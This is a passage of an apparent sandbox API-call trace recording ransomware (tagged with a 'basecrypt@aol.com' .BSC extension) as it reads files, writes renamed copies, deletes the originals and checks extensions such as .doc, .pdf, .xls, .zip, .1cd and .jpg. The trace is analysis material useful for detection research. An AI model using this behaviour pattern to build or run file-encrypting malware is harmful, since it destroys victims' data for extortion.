(lpString1=".xml", lpString2=".BSC") returned 1 [0102.585] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.586] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=82962) returned 1 [0102.586] CloseHandle (hObject=0x340) returned 1 [0102.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0102.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.587] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.587] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.587] GetLastError () returned 0x0 [0102.587] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x14412, lpOverlapped=0x0) returned 1 [0102.634] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x14420, lpOverlapped=0x0) returned 1 [0102.637] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.637] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.637] SetEndOfFile (hFile=0x334) returned 1 [0102.637] CloseHandle (hObject=0x334) returned 1 [0102.639] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.639] SetEndOfFile (hFile=0x340) returned 1 [0102.641] CloseHandle (hObject=0x340) returned 1 [0102.641] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.641] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0102.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.641] lstrlenW (lpString=".doc") returned 4 [0102.641] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString=".docx") returned 5 [0102.642] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.642] lstrlenW (lpString=".pdf") returned 4 [0102.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString=".xls") returned 4 [0102.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString=".xlsx") returned 5 [0102.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.642] lstrlenW (lpString=".ppt") returned 4 [0102.642] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.642] lstrlenW (lpString=".zip") returned 4 [0102.642] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.642] lstrlenW (lpString=".rar") returned 4 [0102.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString=".bz2") returned 4 [0102.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString=".7z") returned 3 [0102.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.642] lstrlenW (lpString=".dbf") returned 4 [0102.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.642] lstrlenW (lpString=".1cd") returned 4 [0102.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.642] lstrlenW (lpString=".jpg") returned 4 [0102.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.643] lstrlenW (lpString=".doc") returned 4 [0102.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString=".docx") returned 5 [0102.643] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.643] lstrlenW (lpString=".pdf") returned 4 [0102.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString=".xls") returned 4 [0102.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString=".xlsx") returned 5 [0102.643] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.643] lstrlenW (lpString=".ppt") returned 4 [0102.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.643] lstrlenW (lpString=".zip") returned 4 [0102.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.643] lstrlenW (lpString=".rar") returned 4 [0102.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString=".bz2") returned 4 [0102.643] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString=".7z") returned 3 [0102.643] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.643] lstrlenW (lpString=".dbf") returned 4 [0102.643] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.643] lstrlenW (lpString=".1cd") returned 4 [0102.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0102.644] lstrlenW (lpString=".jpg") returned 4 [0102.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.644] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.644] lstrlenW (lpString="eula.rtf") returned 8 [0102.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.644] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=4254) returned 1 [0102.644] CloseHandle (hObject=0x340) returned 1 [0102.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0102.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.645] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.645] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.645] GetLastError () returned 0x0 [0102.645] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x109e, lpOverlapped=0x0) returned 1 [0102.658] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x10a0, lpOverlapped=0x0) returned 1 [0102.659] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.659] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.660] SetEndOfFile (hFile=0x334) returned 1 [0102.660] CloseHandle (hObject=0x334) returned 1 [0102.660] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.661] SetEndOfFile (hFile=0x340) returned 1 [0102.661] CloseHandle (hObject=0x340) returned 1 [0102.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.662] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0102.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.662] lstrlenW (lpString=".doc") returned 4 [0102.662] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.662] lstrlenW (lpString=".docx") returned 5 [0102.662] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.662] lstrlenW (lpString=".pdf") returned 4 [0102.662] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.662] lstrlenW (lpString=".xls") returned 4 [0102.662] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.662] lstrlenW (lpString=".xlsx") returned 5 [0102.662] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.662] lstrlenW (lpString=".ppt") returned 4 [0102.662] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.662] lstrlenW (lpString=".zip") returned 4 [0102.662] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.662] lstrlenW (lpString=".rar") returned 4 [0102.663] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString=".bz2") returned 4 [0102.663] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString=".7z") returned 3 [0102.663] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString=".dbf") returned 4 [0102.663] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString=".1cd") returned 4 [0102.663] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString=".jpg") returned 4 [0102.663] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString=".doc") returned 4 [0102.663] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString=".docx") returned 5 [0102.663] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.663] lstrlenW (lpString=".pdf") returned 4 [0102.663] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString=".xls") returned 4 [0102.663] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.663] lstrlenW (lpString=".xlsx") returned 5 [0102.663] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.663] lstrlenW (lpString=".ppt") returned 4 [0102.663] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.663] lstrlenW (lpString=".zip") returned 4 [0102.663] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.663] lstrlenW (lpString=".rar") returned 4 [0102.664] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.664] lstrlenW (lpString=".bz2") returned 4 [0102.664] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.664] lstrlenW (lpString=".7z") returned 3 [0102.664] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.664] lstrlenW (lpString=".dbf") returned 4 [0102.664] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.664] lstrlenW (lpString=".1cd") returned 4 [0102.664] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0102.664] lstrlenW (lpString=".jpg") returned 4 [0102.664] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.664] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.664] lstrlenW (lpString="eula.rtf") returned 8 [0102.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.916] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=3643) returned 1 [0102.916] CloseHandle (hObject=0x340) returned 1 [0102.916] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0102.916] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.916] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.917] GetLastError () returned 0x0 [0102.917] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0xe3b, lpOverlapped=0x0) returned 1 [0103.004] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe40, lpOverlapped=0x0) returned 1 [0103.005] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.005] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.005] SetEndOfFile (hFile=0x334) returned 1 [0103.005] CloseHandle (hObject=0x334) returned 1 [0103.006] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.006] SetEndOfFile (hFile=0x340) returned 1 [0103.007] CloseHandle (hObject=0x340) returned 1 [0103.008] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.008] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0103.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.009] lstrlenW (lpString=".doc") returned 4 [0103.009] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.009] lstrlenW (lpString=".docx") returned 5 [0103.009] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.009] lstrlenW (lpString=".pdf") returned 4 [0103.009] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.009] lstrlenW (lpString=".xls") returned 4 [0103.009] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.009] lstrlenW (lpString=".xlsx") returned 5 [0103.009] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.009] lstrlenW (lpString=".ppt") returned 4 [0103.009] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.009] lstrlenW (lpString=".zip") returned 4 [0103.009] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.009] lstrlenW (lpString=".rar") returned 4 [0103.009] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.009] lstrlenW (lpString=".bz2") returned 4 [0103.009] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.009] lstrlenW (lpString=".7z") returned 3 [0103.009] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.009] lstrlenW (lpString=".dbf") returned 4 [0103.010] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.010] lstrlenW (lpString=".1cd") returned 4 [0103.010] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.010] lstrlenW (lpString=".jpg") returned 4 [0103.010] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.010] lstrlenW (lpString=".doc") returned 4 [0103.010] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString=".docx") returned 5 [0103.010] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.010] lstrlenW (lpString=".pdf") returned 4 [0103.010] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString=".xls") returned 4 [0103.010] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.010] lstrlenW (lpString=".xlsx") returned 5 [0103.010] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.010] lstrlenW (lpString=".ppt") returned 4 [0103.010] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.010] lstrlenW (lpString=".zip") returned 4 [0103.010] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.010] lstrlenW (lpString=".rar") returned 4 [0103.010] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString=".bz2") returned 4 [0103.010] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.010] lstrlenW (lpString=".7z") returned 3 [0103.010] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.011] lstrlenW (lpString=".dbf") returned 4 [0103.011] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.011] lstrlenW (lpString=".1cd") returned 4 [0103.011] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0103.011] lstrlenW (lpString=".jpg") returned 4 [0103.011] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.011] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.011] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.011] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=82374) returned 1 [0103.011] CloseHandle (hObject=0x340) returned 1 [0103.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0103.012] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.012] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.012] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.012] GetLastError () returned 0x0 [0103.012] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x141c6, lpOverlapped=0x0) returned 1 [0103.109] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x141d0, lpOverlapped=0x0) returned 1 [0103.112] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.112] WriteFile (in: 